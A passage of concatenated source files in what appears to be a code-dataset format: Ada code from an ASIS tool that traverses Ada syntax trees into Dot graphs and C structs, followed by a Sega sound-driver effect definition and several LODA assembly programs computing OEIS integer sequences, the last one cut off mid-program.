State.Add_To_Dot_Label_And_Edge ("Actual_Parameter", ID);
Result.Actual_Parameter := ID;
end;
procedure Add_Is_Defaulted_Association is
Value : constant Boolean := Asis.Expressions.Is_Defaulted_Association (Element);
begin
State.Add_To_Dot_Label ("Is_Defaulted_Association", Value);
Result.Is_Defaulted_Association :=
a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Is_Normalized is
Value : constant Boolean := Asis.Expressions.Is_Normalized (Element);
begin
State.Add_To_Dot_Label ("Is_Normalized", Value);
Result.Is_Normalized := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label ("Association_Kind", Association_Kind'Image);
Result.Association_Kind := anhS.To_Association_Kinds (Association_Kind);
end Add_Common_Items;
use all type Asis.Association_Kinds;
begin
If Association_Kind /= Not_An_Association then
Add_Common_Items;
end if;
case Association_Kind is
when Not_An_Association => -- An unexpected element
raise Program_Error with
Module_Name & " called with: " & Association_Kind'Image;
when A_Pragma_Argument_Association =>
-- Add_Formal_Parameter;
-- Add_Actual_Parameter;
State.Add_Not_Implemented;
when A_Discriminant_Association =>
-- Add_Discriminant_Selector_Names;
-- Add_Discriminant_Expression;
-- Add_Is_Normalized;
State.Add_Not_Implemented;
when A_Record_Component_Association =>
-- Add_Record_Component_Choices;
-- Add_Component_Expression;
-- Add_Is_Normalized;
-- Add_Is_Defaulted_Association;
State.Add_Not_Implemented;
when An_Array_Component_Association =>
-- Add_Array_Component_Choices;
-- Add_Component_Expression;
State.Add_Not_Implemented;
when A_Parameter_Association |
A_Generic_Association =>
Add_Formal_Parameter;
Add_Actual_Parameter;
Add_Is_Defaulted_Association;
Add_Is_Normalized;
end case;
State.A_Element.Element_Kind := a_nodes_h.An_Association;
State.A_Element.The_union.association := Result;
end Process_Association;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Statement
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Statement";
Result : a_nodes_h.Statement_Struct :=
a_nodes_h.Support.Default_Statement_Struct;
Statement_Kind : constant Asis.Statement_Kinds :=
Asis.Elements.Statement_Kind (Element);
-- Supporting procedures are in alphabetical order:
procedure Add_Accept_Body_Exception_Handlers is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Accept_Body_Exception_Handlers (Element),
Dot_Label_Name => "Accept_Body_Exception_Handlers",
List_Out => Result.Accept_Body_Exception_Handlers,
Add_Edges => True);
end;
procedure Add_Accept_Body_Statements is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Accept_Body_Statements (Element),
Dot_Label_Name => "Accept_Body_Statements",
List_Out => Result.Accept_Body_Statements,
Add_Edges => True);
end;
procedure Add_Accept_Entry_Direct_Name is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Accept_Entry_Direct_Name (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Accept_Entry_Direct_Name", ID);
Result.Accept_Entry_Direct_Name := ID;
end;
procedure Add_Accept_Entry_Index is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Accept_Entry_Index (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Accept_Entry_Index", ID);
Result.Accept_Entry_Index := ID;
end;
procedure Add_Accept_Parameters is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Accept_Parameters (Element),
Dot_Label_Name => "Accept_Parameters",
List_Out => Result.Accept_Parameters,
Add_Edges => True);
end;
procedure Add_Assignment_Expression is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Assignment_Expression (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Assignment_Expression", ID);
Result.Assignment_Expression := ID;
end;
procedure Add_Assignment_Variable_Name is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Assignment_Variable_Name (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Assignment_Variable_Name", ID);
Result.Assignment_Variable_Name := ID;
end;
procedure Add_Associated_Message is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Associated_Message (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Associated_Message", ID);
Result.Associated_Message := ID;
end;
procedure Add_Call_Statement_Parameters is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Call_Statement_Parameters (Element),
Dot_Label_Name => "Call_Statement_Parameters",
List_Out => Result.Call_Statement_Parameters,
Add_Edges => True);
end;
procedure Add_Called_Name is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Called_Name (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Called_Name", ID);
Result.Called_Name := ID;
end;
procedure Add_Case_Expression is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Case_Expression (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Case_Expression", ID);
Result.Case_Expression := ID;
end;
procedure Add_Corresponding_Called_Entity is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Corresponding_Called_Entity (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Called_Entity", To_String (ID));
Result.Corresponding_Called_Entity := ID;
end;
procedure Add_Corresponding_Entry is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Corresponding_Entry (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Entry", To_String (ID));
Result.Corresponding_Entry := ID;
end;
procedure Add_Corresponding_Loop_Exited is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Corresponding_Loop_Exited (Element));
begin
State.Add_To_Dot_Label ("Corresponding_Loop_Exited", To_String (ID));
Result.Corresponding_Loop_Exited := ID;
end;
procedure Add_Exit_Condition is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Exit_Condition (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Exit_Condition", ID);
Result.Exit_Condition := ID;
end;
procedure Add_Exit_Loop_Name is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Exit_Loop_Name (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Exit_Loop_Name", ID);
Result.Exit_Loop_Name := ID;
end;
procedure Add_For_Loop_Parameter_Specification is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.For_Loop_Parameter_Specification (Element));
begin
State.Add_To_Dot_Label_And_Edge ("For_Loop_Parameter_Specification", ID);
Result.For_Loop_Parameter_Specification := ID;
end;
procedure Add_Is_Name_Repeated is
Value : constant Boolean := Asis.Statements.Is_Name_Repeated (Element);
begin
State.Add_To_Dot_Label ("Is_Name_Repeated", Value);
Result.Is_Name_Repeated := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Label_Names is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Label_Names (Element),
Dot_Label_Name => "Label_Names",
List_Out => Result.Label_Names,
Add_Edges => True);
end;
procedure Add_Loop_Statements is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Loop_Statements (Element),
Dot_Label_Name => "Loop_Statements",
List_Out => Result.Loop_Statements,
Add_Edges => True);
end;
procedure Add_Raised_Exception is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Raised_Exception (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Raised_Exception", ID);
Result.Raised_Exception := ID;
end;
procedure Add_Return_Expression is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Return_Expression (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Return_Expression", ID);
Result.Return_Expression := ID;
end;
procedure Add_Statement_Identifier is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Statement_Identifier (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Statement_Identifier", ID);
Result.Statement_Identifier := ID;
end;
procedure Add_Statement_Paths is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Statement_Paths (Element),
Dot_Label_Name => "Statement_Paths",
List_Out => Result.Statement_Paths,
Add_Edges => True);
end;
procedure Add_While_Condition is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.While_Condition (Element));
begin
State.Add_To_Dot_Label_And_Edge ("While_Condition", ID);
Result.While_Condition := ID;
end;
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label ("Statement_Kind", Statement_Kind'Image);
Result.Statement_Kind := anhS.To_Statement_Kinds (Statement_Kind);
Add_Label_Names;
end Add_Common_Items;
procedure Add_Common_Loop_Items is
begin
Add_Statement_Identifier;
Add_Is_Name_Repeated;
Add_Loop_Statements;
end Add_Common_Loop_Items;
use all type Asis.Statement_Kinds;
begin
If Statement_Kind /= Not_A_Statement then
Add_Common_Items;
end if;
case Statement_Kind is
when Not_A_Statement =>
raise Program_Error with
Module_Name & " called with: " & Statement_Kind'Image;
when A_Null_Statement =>
null; -- No more info.
when An_Assignment_Statement =>
Add_Assignment_Variable_Name;
Add_Assignment_Expression;
when An_If_Statement =>
Add_Statement_Paths;
when A_Case_Statement =>
Add_Case_Expression;
Add_Statement_Paths;
when A_Loop_Statement =>
Add_Common_Loop_Items;
when A_While_Loop_Statement =>
Add_While_Condition;
Add_Common_Loop_Items;
when A_For_Loop_Statement =>
Add_For_Loop_Parameter_Specification;
Add_Common_Loop_Items;
when A_Block_Statement =>
State.Add_Not_Implemented;
-- Statement_Identifier
-- Is_Name_Repeated
-- Is_Declare_Block
-- Block_Declarative_Items
-- Block_Statements
-- Block_Exception_Handlers
when An_Exit_Statement =>
Add_Exit_Condition;
Add_Exit_Loop_Name;
Add_Corresponding_Loop_Exited;
when A_Goto_Statement =>
State.Add_Not_Implemented;
-- Goto_Label
-- Corresponding_Destination_Statement
when A_Procedure_Call_Statement =>
Add_Called_Name;
Add_Corresponding_Called_Entity;
Add_Call_Statement_Parameters;
when A_Return_Statement =>
Add_Return_Expression;
when An_Extended_Return_Statement =>
State.Add_Not_Implemented;
when An_Accept_Statement =>
Add_Accept_Entry_Index;
Add_Accept_Entry_Direct_Name;
Add_Accept_Parameters;
Add_Accept_Body_Statements;
Add_Accept_Body_Exception_Handlers;
Add_Corresponding_Entry;
when An_Entry_Call_Statement =>
Add_Called_Name;
Add_Corresponding_Called_Entity;
Add_Call_Statement_Parameters;
when A_Requeue_Statement =>
State.Add_Not_Implemented;
-- Requeue_Entry_Name
when A_Requeue_Statement_With_Abort =>
State.Add_Not_Implemented;
-- Requeue_Entry_Name
when A_Delay_Until_Statement =>
State.Add_Not_Implemented;
-- Delay_Expression
when A_Delay_Relative_Statement =>
State.Add_Not_Implemented;
-- Delay_Expression
when A_Terminate_Alternative_Statement =>
null; -- No more info
when A_Selective_Accept_Statement =>
State.Add_Not_Implemented;
-- Statement_Paths
when A_Timed_Entry_Call_Statement =>
State.Add_Not_Implemented;
-- Statement_Paths
when A_Conditional_Entry_Call_Statement =>
State.Add_Not_Implemented;
-- Statement_Paths
when An_Asynchronous_Select_Statement =>
State.Add_Not_Implemented;
-- Statement_Paths
when An_Abort_Statement =>
State.Add_Not_Implemented;
-- Aborted_Tasks
when A_Raise_Statement =>
Add_Raised_Exception;
Add_Associated_Message;
when A_Code_Statement =>
State.Add_Not_Implemented;
-- Qualified_Expression
end case;
State.A_Element.Element_Kind := a_nodes_h.A_Statement;
State.A_Element.the_union.statement := Result;
end Process_Statement;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Path
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Path";
Result : a_nodes_h.Path_Struct :=
a_nodes_h.Support.Default_Path_Struct;
Path_Kind : constant Asis.Path_Kinds := Asis.Elements.Path_Kind (Element);
procedure Add_Case_Path_Alternative_Choices is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Case_Path_Alternative_Choices (Element),
Dot_Label_Name => "Case_Path_Alternative_Choices",
List_Out => Result.Case_Path_Alternative_Choices,
Add_Edges => True);
end;
procedure Add_Condition_Expression is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Condition_Expression (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Condition_Expression", ID);
Result.Condition_Expression := ID;
end;
procedure Add_Guard is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Guard (Element));
begin
State.Add_To_Dot_Label_And_Edge ("Guard", ID);
Result.Guard := ID;
end;
procedure Add_Sequence_Of_Statements is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Sequence_Of_Statements (Element),
Dot_Label_Name => "Sequence_Of_Statements",
List_Out => Result.Sequence_Of_Statements,
Add_Edges => True);
end;
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label ("Path_Kind", Path_Kind'Image);
Result.Path_Kind := anhS.To_Path_Kinds (Path_Kind);
Add_Sequence_Of_Statements;
end Add_Common_Items;
use all type Asis.Path_Kinds;
begin
If Path_Kind /= Not_A_Path then
Add_Common_Items;
end if;
case Path_Kind is
when Not_A_Path =>
raise Program_Error with
Module_Name & " called with: " & Path_Kind'Image;
when An_If_Path =>
Add_Condition_Expression;
when An_Elsif_Path =>
Add_Condition_Expression;
when An_Else_Path =>
null; -- No more info
when A_Case_Path =>
Add_Case_Path_Alternative_Choices;
when A_Select_Path =>
Add_Guard;
when An_Or_Path =>
Add_Guard;
when A_Then_Abort_Path =>
null; -- No more info
when A_Case_Expression_Path =>
Add_Case_Path_Alternative_Choices;
when An_If_Expression_Path =>
Add_Condition_Expression;
when An_Elsif_Expression_Path =>
Add_Condition_Expression;
when An_Else_Expression_Path =>
null; -- No more info
end case;
State.A_Element.Element_Kind := a_nodes_h.A_Path;
State.A_Element.The_Union.Path := Result;
end Process_Path;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Clause
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Clause";
Result : a_nodes_h.Clause_Struct :=
a_nodes_h.Support.Default_Clause_Struct;
Clause_Kind : constant Asis.Clause_Kinds :=
Asis.Elements.Clause_Kind (Element);
procedure Add_Clause_Names is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Clauses.Clause_Names (Element),
Dot_Label_Name => "Clause_Name",
List_Out => Result.Clause_Names,
Add_Edges => True);
end;
procedure Add_Has_Limited is
Value : constant Boolean := Asis.Elements.Has_Limited (Element);
begin
State.Add_To_Dot_Label ("Has_Limited", Value);
Result.Has_Limited := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Common_Items is
begin
State.Add_To_Dot_Label ("Clause_Kind", Clause_Kind'Image);
Result.Clause_Kind := anhS.To_Clause_Kinds (Clause_Kind);
end Add_Common_Items;
use all type Asis.Clause_Kinds;
begin
If Clause_Kind /= Not_A_Clause then
Add_Common_Items;
end if;
case Clause_Kind is
when Not_A_Clause =>
raise Program_Error with
"Element.Pre_Children.Process_Clause called with: " &
Clause_Kind'Image;
when A_Use_Package_Clause =>
Add_Clause_Names;
when A_Use_Type_Clause =>
Add_Clause_Names;
when A_Use_All_Type_Clause =>
Add_Clause_Names;
when A_With_Clause =>
Add_Has_Limited;
Add_Clause_Names;
when A_Representation_Clause =>
-- -> Representation_Clause_Kinds
State.Add_Not_Implemented;
when A_Component_Clause =>
State.Add_Not_Implemented;
end case;
State.A_Element.Element_Kind := a_nodes_h.A_Clause;
State.A_Element.the_union.clause := Result;
end Process_Clause;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
procedure Process_Exception_Handler
(Element : in Asis.Element;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Exception_Handler";
Result : a_nodes_h.Exception_Handler_Struct :=
a_nodes_h.Support.Default_Exception_Handler_Struct;
procedure Add_Choice_Parameter_Specification is
ID : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Statements.Choice_Parameter_Specification
(Element));
begin
State.Add_To_Dot_Label_And_Edge ("Choice_Parameter_Specification", ID);
Result.Choice_Parameter_Specification :=
ID;
end;
procedure Add_Exception_Choices is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Exception_Choices (Element),
Dot_Label_Name => "Exception_Choices",
List_Out => Result.Exception_Choices,
Add_Edges => True);
end;
procedure Add_Handler_Statements is
begin
Add_Element_List
(This => State,
Elements_In => Asis.Statements.Handler_Statements (Element),
Dot_Label_Name => "Handler_Statements",
List_Out => Result.Handler_Statements,
Add_Edges => True);
end;
begin
Add_Choice_Parameter_Specification;
Add_Exception_Choices;
Add_Handler_Statements;
State.A_Element.Element_Kind := a_nodes_h.An_Exception_Handler;
State.A_Element.the_union.exception_handler := Result;
end Process_Exception_Handler;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
-- function Enclosing_ID
-- (Element : in Asis.Element)
-- return Dot.ID_Type
-- is
-- Result : Dot.ID_Type; -- Initilaized
-- Enclosing_Element_Id : constant a_nodes_h.Element_ID :=
-- Get_Element_ID (Asis.Elements.Enclosing_Element (Element));
-- Enclosing_Unit_Id : constant A4G.A_Types.Unit_Id :=
-- Asis.Set_Get.Encl_Unit_Id (Element);
-- function Enclosing_Is_Element return boolean
-- is (Types."/=" (Enclosing_Element_Id, Types.Empty));
-- begin
-- if Enclosing_Is_Element then
-- Result := To_Dot_ID_Type (Enclosing_Element_Id);
-- else
-- Result := To_Dot_ID_Type (Enclosing_Unit_Id);
-- end if;
-- return Result;
-- end Enclosing_ID;
function Enclosing_ID
(Element : in Asis.Element)
return a_nodes_h.Element_ID is
begin
return Get_Element_ID
(Asis.Elements.Enclosing_Element (Element));
end Enclosing_ID;
function Spec_Or_Body_Image
(Unit_Class : in Asis.Unit_Classes)
return String
is
use all type Asis.Unit_Classes;
begin
case Unit_Class is
when Not_A_Class =>
return "";
when A_Public_Declaration |
A_Private_Declaration =>
return ".ads";
when A_Public_Body |
A_Private_Body |
A_Public_Declaration_And_Body |
A_Separate_Body =>
return ".adb";
end case;
end Spec_Or_Body_Image;
function Source_Location_Image
(Unit_Name : in String;
Span : in Asis.Text.Span)
return String is
begin
return Unit_Name & " - " &
NLB_Image (Span.First_Line) & ":" & NLB_Image (Span.First_Column) &
" .. " &
NLB_Image (Span.Last_Line) & ":" & NLB_Image (Span.Last_Column);
end Source_Location_Image;
--------------------------------------------------------------------------
--------------------------------------------------------------------------
------------
-- EXPORTED:
------------
procedure Process_Element
(Element : in Asis.Element;
Control : in out Asis.Traverse_Control;
State : in out Class)
is
Parent_Name : constant String := Module_Name;
Module_Name : constant String := Parent_Name & ".Process_Element";
Result : a_nodes_h.Element_Struct renames State.A_Element;
Element_Kind : constant Asis.Element_Kinds :=
Asis.Elements.Element_Kind (Element);
procedure Add_Element_ID is begin
-- ID is in the Dot node twice (once in the Label and once in
-- Node_ID), but not in the a_node twice.
State.Add_To_Dot_Label (To_String (State.Element_IDs.First_Element));
Result.id := State.Element_IDs.First_Element;
end;
procedure Add_Element_Kind is begin
State.Add_To_Dot_Label ("Element_Kind", Element_Kind'Image);
Result.Element_Kind := anhS.To_Element_Kinds (Element_Kind);
end;
procedure Add_Source_Location is
Unit : constant Asis.Compilation_Unit :=
Asis.Elements.Enclosing_Compilation_Unit (Element);
Unit_Class : constant Asis.Unit_Classes :=
Asis.Compilation_Units.Unit_Class (Unit);
Unit_Name : constant String := To_String
(Asis.Compilation_Units.Unit_Full_Name (Unit)) &
Spec_Or_Body_Image (Unit_Class);
Span : constant Asis.Text.Span := Asis.Text.Element_Span (Element);
Image : constant string := Source_Location_Image
(Unit_Name, Span);
begin
State.Add_To_Dot_Label ("Source", Image);
Result.Source_Location :=
(Unit_Name => To_Chars_Ptr (Unit_Name),
First_Line => Interfaces.C.int (Span.First_Line),
First_Column => Interfaces.C.int (Span.First_Column),
Last_Line => Interfaces.C.int (Span.Last_Line),
Last_Column => Interfaces.C.int (Span.Last_Column));
end;
-- Alphabetical order:
procedure Add_Is_Part_Of_Implicit is
Value : constant Boolean := Asis.Elements.Is_Part_Of_Implicit (Element);
begin
State.Add_To_Dot_Label ("Is_Part_Of_Implicit", Value);
Result.Is_Part_Of_Implicit := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Is_Part_Of_Inherited is
Value : constant Boolean := Asis.Elements.Is_Part_Of_Inherited (Element);
begin
State.Add_To_Dot_Label ("Is_Part_Of_Inherited", Value);
Result.Is_Part_Of_Inherited := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Is_Part_Of_Instance is
Value : constant Boolean := Asis.Elements.Is_Part_Of_Instance (Element);
begin
State.Add_To_Dot_Label ("Is_Part_Of_Instance", Value);
Result.Is_Part_Of_Instance := a_nodes_h.Support.To_bool (Value);
end;
procedure Add_Hash is
Value : constant Asis.ASIS_Integer := Asis.Elements.Hash (Element);
begin
State.Add_To_Dot_Label ("Hash", Value'Image);
Result.Hash := a_nodes_h.ASIS_Integer (Value);
end;
procedure Add_Enclosing_Element is
Value : constant a_nodes_h.Element_ID :=
Get_Element_ID (Asis.Elements.Enclosing_Element (Element));
begin
-- State.Add_Dot_Edge (From => Enclosing_Element_Id,
-- To => State.Element_Id,
-- Label => "Child");
State.Add_To_Dot_Label ("Enclosing_Element", Value);
Result.Enclosing_Element_Id := Value;
end;
function Debug_Image return ICS.chars_ptr is
WS : constant Wide_String := Asis.Elements.Debug_Image (Element);
begin
State.Add_To_Dot_Label ("Debug_Image", To_Quoted_String (WS));
return To_Chars_Ptr(WS);
end;
procedure Put_Debug is
procedure Put_Line (Name : in String;
Value : in String) is
begin
State.Outputs.Text.Put_Indented_Line ("* " & Name & " => " & Value);
end;
procedure Put_Separator is
begin
State.Outputs.Text.Put_Indented_Line (String'(1 .. 40 => '*'));
end;
use Asis.Set_Get;
begin
Put_Separator;
Put_Line ("Node ", Node (Element)'Image);
Put_Line ("R_Node ", R_Node (Element)'Image);
Put_Line ("Node_Field_1 ", Node_Field_1 (Element)'Image);
Put_Line ("Node_Field_2 ", Node_Field_2 (Element)'Image);
Put_Line ("Node_Value ", Node_Value (Element)'Image);
Put_Line ("R_Node_Value ", R_Node_Value (Element)'Image);
Put_Line ("Node_Field_1_Value", Node_Field_1_Value (Element)'Image);
Put_Line ("Node_Field_2_Value", Node_Field_2_Value (Element)'Image);
-- Put_Line ("Encl_Unit ", Encl_Unit (Element)'Image);
Put_Line ("Encl_Unit_Id ", Encl_Unit_Id (Element)'Image);
-- Put_Line ("Encl_Cont ", Encl_Cont (Element)'Image);
Put_Line ("Encl_Cont_Id ", Encl_Cont_Id (Element)'Image);
Put_Line ("Kind ", Kind (Element)'Image);
Put_Line ("Int_Kind ", Int_Kind (Element)'Image);
Put_Line ("Is_From_Implicit ", Is_From_Implicit (Element)'Image);
Put_Line ("Is_From_Inherited ", Is_From_Inherited (Element)'Image);
Put_Line ("Is_From_Instance ", Is_From_Instance (Element)'Image);
Put_Line ("Special_Case ", Special_Case (Element)'Image);
Put_Line ("Normalization_Case", Normalization_Case (Element)'Image);
Put_Line ("Parenth_Count ", Parenth_Count (Element)'Image);
Put_Line ("Encl_Tree ", Encl_Tree (Element)'Image);
Put_Line ("Rel_Sloc ", Rel_Sloc (Element)'Image);
Put_Line ("Character_Code ", Character_Code (Element)'Image);
-- Put_Line ("Obtained ", Obtained (Element)'Image);
Put_Separator;
end;
procedure Start_Output is
Default_Node : Dot.Node_Stmt.Class; -- Initialized
Default_Label : Dot.HTML_Like_Labels.Class; -- Initialized
begin
-- Set defaults:
Result := a_nodes_h.Support.Default_Element_Struct;
State.Outputs.Text.End_Line;
-- Element ID comes out on next line via Add_Element_ID:
State.Outputs.Text.Put_Indented_Line (String'("BEGIN "));
State.Outputs.Text.Indent;
State.Dot_Node := Default_Node;
State.Dot_Label := Default_Label;
-- Get ID:
State.Element_IDs.Prepend (Get_Element_ID (Element));
State.Dot_Node.Node_ID.ID :=
To_Dot_ID_Type (State.Element_IDs.First_Element, Element_ID_Kind);
-- Result.Debug_Image := Debug_Image;
-- Put_Debug;
Add_Element_ID;
Add_Element_Kind;
Add_Is_Part_Of_Implicit;
Add_Is_Part_Of_Inherited;
Add_Is_Part_Of_Instance;
Add_Hash;
Add_Enclosing_Element;
Add_Source_Location;
end;
procedure Finish_Output is
begin
State.Dot_Node.Add_Label (State.Dot_Label);
State.Outputs.Graph.Append_Stmt
(new Dot.Node_Stmt.Class'(State.Dot_Node));
State.Outputs.A_Nodes.Push (Result);
end;
use all type Asis.Element_Kinds;
begin
If Element_Kind /= Not_An_Element then
Start_Output;
end if;
case Element_Kind is
when Not_An_Element =>
raise Program_Error with
Module_Name & " called with: " & Element_Kind'Image;
when A_Pragma =>
Process_Pragma (Element, State);
when A_Defining_Name =>
Process_Defining_Name (Element, State);
when A_Declaration =>
Process_Declaration (Element, State);
when A_Definition =>
Process_Definition (Element, State);
when An_Expression =>
Process_Expression (Element, State);
when An_Association =>
Process_Association (Element, State);
when A_Statement =>
Process_Statement (Element, State);
when A_Path =>
Process_Path (Element, State);
when A_Clause =>
Process_Clause (Element, State);
when An_Exception_Handler =>
Process_Exception_Handler (Element, State);
end case;
-- Add_Enclosing_Element;
Finish_Output;
end Process_Element;
end Pre_Children;
package Post_Children is
procedure Process_Element
(Element : Asis.Element;
Control : in out Asis.Traverse_Control;
State : in out Class);
end Post_Children;
package body Post_Children is
------------
-- EXPORTED:
------------
procedure Process_Element
(Element : Asis.Element;
Control : in out Asis.Traverse_Control;
State : in out Class) is
begin
State.Outputs.Text.End_Line;
State.Outputs.Text.Dedent;
State.Outputs.Text.Put_Indented_Line
(String'("END " & To_String (State.Element_IDs.First_Element)));
State.Element_IDs.Delete_First;
end Process_Element;
end Post_Children;
-- Call Pre_Operation on ths element, call Traverse_Element on all children,
-- then call Post_Operation on this element:
procedure Traverse_Element is new
Asis.Iterator.Traverse_Element
(State_Information => Class,
Pre_Operation => Pre_Children.Process_Element,
Post_Operation => Post_Children.Process_Element);
------------
-- EXPORTED:
------------
procedure Process_Element_Tree
(This : in out Class;
Element : in Asis.Element;
Outputs : in Outputs_Record)
is
Process_Control : Asis.Traverse_Control := Asis.Continue;
begin
-- I would like to just pass Outputs through and not store it in the
-- object, since it is all pointers and we doesn't need to store their
-- values between calls to Process_Element_Tree. Outputs has to go into
-- State_Information in the Traverse_Element instatiation, though, so
-- we'll put it in the object and pass that:
This.Outputs := Outputs;
Traverse_Element
(Element => Element,
Control => Process_Control,
State => This);
end Process_Element_Tree;
end Asis_Tool_2.Element;
|
sk/sfx/A6.asm | Cancer52/flamedriver | 9 | 103341 | Sound_A6_Header:
smpsHeaderStartSong 3
smpsHeaderVoice Sound_A6_Voices
smpsHeaderTempoSFX $01
smpsHeaderChanSFX $01
smpsHeaderSFXChannel cPSG3, Sound_A6_PSG3, $02, $00
; PSG3 Data
Sound_A6_PSG3:
smpsPSGform $E7
smpsPSGvoice sTone_1D
smpsModSet $01, $01, $E0, $CA
dc.b nF4, $03, nFs4, $0D
smpsStop
; Song seems to not use any FM voices
Sound_A6_Voices:
|
oeis/142/A142026.asm | neoneye/loda-programs | 11 | 177188 | <gh_stars>10-100
; A142026: Primes congruent to 22 mod 31.
; Submitted by <NAME>
; 53,239,487,673,797,859,983,1231,1789,1913,2099,2161,2347,2657,2719,2843,3463,4021,4517,4703,4889,4951,5261,5323,5881,6067,6563,6997,7121,7307,7369,7741,7927,8237,8423,8609,9043,9539,9601,9787,9973,10159,10531,10903,11027,11213,11399,11833,12143,12329,12391,12577,12763,13259,13693,13879,14251,14437,14561,14747,15739,16111,16421,16607,16979,17041,17351,17599,17909,17971,18839,19087,19211,19273,19583,20327,20389,20947,21319,22063,22621,22807,22993,23117,24109,24419,24481,24977,25163,25349,25411
mov $2,$0
add $2,2
pow $2,2
lpb $2
mul $1,$4
mov $3,$1
add $3,52
seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0.
sub $0,$3
add $1,62
sub $2,1
mov $4,$0
max $4,0
cmp $4,$0
mul $2,$4
lpe
mov $0,$1
sub $0,9
|
oeis/228/A228016.asm | neoneye/loda-programs | 11 | 12736 | <gh_stars>10-100
; A228016: a(1) = least k such that 1/1+1/2+1/3+1/4+1/5 < H(k) - H(5); a(2) = least k such that H(a(1)) - H(5) < H(k) -H(a(1)), and for n > 2, a(n) = least k such that H(a(n-1)) - H(a(n-2) > H(k) - H(a(n-1)), where H = harmonic number.
; Submitted by <NAME>(s3)
; 54,539,5340,52865,523314,5180279,51279480,507614525,5024865774,49741043219,492385566420,4874114620985,48248760643434,477613491813359,4727886157490160,46801248083088245,463284594673392294,4586044698650834699,45397162391834954700,449385579219698712305,4448458629805152168354,44035200718831822971239,435903548558513077544040,4315000284866298952469165,42714099300104476447147614,422825992716178465519006979,4185545827861680178742922180,41432632285900623321910214825,410140777031144553040359226074
add $0,2
seq $0,54320 ; Expansion of g.f.: (1 + x)/(1 - 10*x + x^2).
div $0,2
|
programs/oeis/045/A045380.asm | neoneye/loda | 22 | 82613 | ; A045380: Primes congruent to 2 mod 5.
; 2,7,17,37,47,67,97,107,127,137,157,167,197,227,257,277,307,317,337,347,367,397,457,467,487,547,557,577,587,607,617,647,677,727,757,787,797,827,857,877,887,907,937,947,967,977,997,1087,1097,1117,1187,1217,1237,1277,1297,1307,1327,1367,1427,1447,1487,1567,1597,1607,1627,1637,1657,1667,1697,1747,1777,1787,1847,1867,1877,1907,1987,1997,2017,2027,2087,2137,2207,2237,2267,2287,2297,2347,2357,2377,2417,2437,2447,2467,2477,2557,2617,2647,2657,2677
mov $2,$0
sub $0,1
pow $2,2
add $2,1
lpb $2
sub $2,1
mov $3,$5
